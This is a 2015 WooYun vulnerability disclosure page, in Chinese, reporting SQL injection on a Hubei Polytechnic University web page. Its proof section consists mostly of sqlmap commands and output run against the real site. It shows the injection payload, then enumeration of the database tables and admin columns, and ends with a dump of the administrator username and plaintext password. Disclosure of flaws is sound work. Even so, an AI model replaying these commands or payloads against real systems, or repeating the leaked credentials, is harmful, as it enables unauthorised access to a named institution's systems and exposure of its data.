当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106798

漏洞标题:湖北理工学院存在sql注入漏洞

相关厂商:湖北理工学院

漏洞作者: 路人甲

提交时间:2015-04-10 16:31

修复时间:2015-04-15 16:32

公开时间:2015-04-15 16:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-10: 细节已通知厂商并且等待厂商处理中
2015-04-15: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

湖北理工学院存在sql注入漏洞

详细说明:

湖北理工学院存在sql注入漏洞

漏洞证明:

漏洞地址 http://jgbm.hbpu.edu.cn:860/shownews.asp?id=731
Database: Microsoft_Access_masterdb
[2 tables]
+-------+
| admin |
| news |
+-------+
[12:18:57] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3138 times
[12:18:57] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/jgbm.hbpu.edu.cn'
[*] shutting down at 12:18:57
root@root:~# sqlmap -u http://jgbm.hbpu.edu.cn:860/shownews.asp?id=731 --columns -T admin
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:19:27
[12:19:27] [INFO] resuming back-end DBMS 'microsoft access'
[12:19:27] [INFO] testing connection to the target URL
[12:19:28] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=731 AND 7690=7690
---
[12:19:28] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[12:19:28] [ERROR] cannot retrieve column names, back-end DBMS is Access
do you want to use common column existence check? [Y/n/q]
[12:19:30] [INFO] heuristics detected web page charset 'GB2312'
[12:19:30] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[12:19:30] [INFO] checking column existence using items from '/usr/share/sqlmap/txt/common-columns.txt'
[12:19:30] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[12:19:38] [INFO] starting 10 threads
[12:19:39] [INFO] retrieved: id
[12:19:39] [INFO] retrieved: title
[12:19:48] [INFO] retrieved: password
[12:20:04] [INFO] retrieved: user
[12:20:09] [INFO] retrieved: admin
[12:21:38] [INFO] retrieved: admin

Database: Microsoft_Access_masterdb
Table: admin
[5 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| user | non-numeric |
| admin | non-numeric |
| id | numeric |
| password | non-numeric |
| title | non-numeric |
+----------+-------------+
[12:21:40] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2495 times
[12:21:40] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/jgbm.hbpu.edu.cn'
[*] shutting down at 12:21:40
root@root:~# sqlmap -u http://jgbm.hbpu.edu.cn:860/shownews.asp?id=731 --dump -T admin -C "admin,password"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:23:22
[12:23:22] [INFO] resuming back-end DBMS 'microsoft access'
[12:23:22] [INFO] testing connection to the target URL
[12:23:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=731 AND 7690=7690
---
[12:23:22] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[12:23:22] [ERROR] cannot retrieve column names, back-end DBMS is Access
[12:23:22] [INFO] fetching entries of column(s) '`user`, admin, id, password, title' for table 'admin' in database 'Microsoft_Access_masterdb'
[12:23:22] [INFO] fetching number of column(s) '`user`, admin, id, password, title' entries for table 'admin' in database 'Microsoft_Access_masterdb'
[12:23:22] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[12:23:22] [INFO] retrieved: 1
[12:23:24] [INFO] heuristics detected web page charset 'GB2312'
[12:23:24] [INFO] fetching number of distinct values for column 'id'
[12:23:24] [INFO] retrieved: 1
[12:23:26] [INFO] using column 'id' as a pivot for retrieving row data
[12:23:26] [INFO] retrieved: 21
[12:23:33] [INFO] retrieved: admin
[12:23:49] [INFO] retrieved: 关于
[12:24:25] [INFO] retrieved: admin
[12:24:41] [INFO] retrieved: iuokfjtqw
[12:25:11] [INFO] analyzing table dump for possible password hashes
Database: Microsoft_Access_masterdb
Table: admin
[1 entry]
+----+-------+-------+--------+-----------+
| id | title | admin | user | password |
+----+-------+-------+--------+-----------+
| 21 | 关于 | admin | admin | iuokfjtqw |
+----+-------+-------+--------+-----------+

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-15 16:32

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无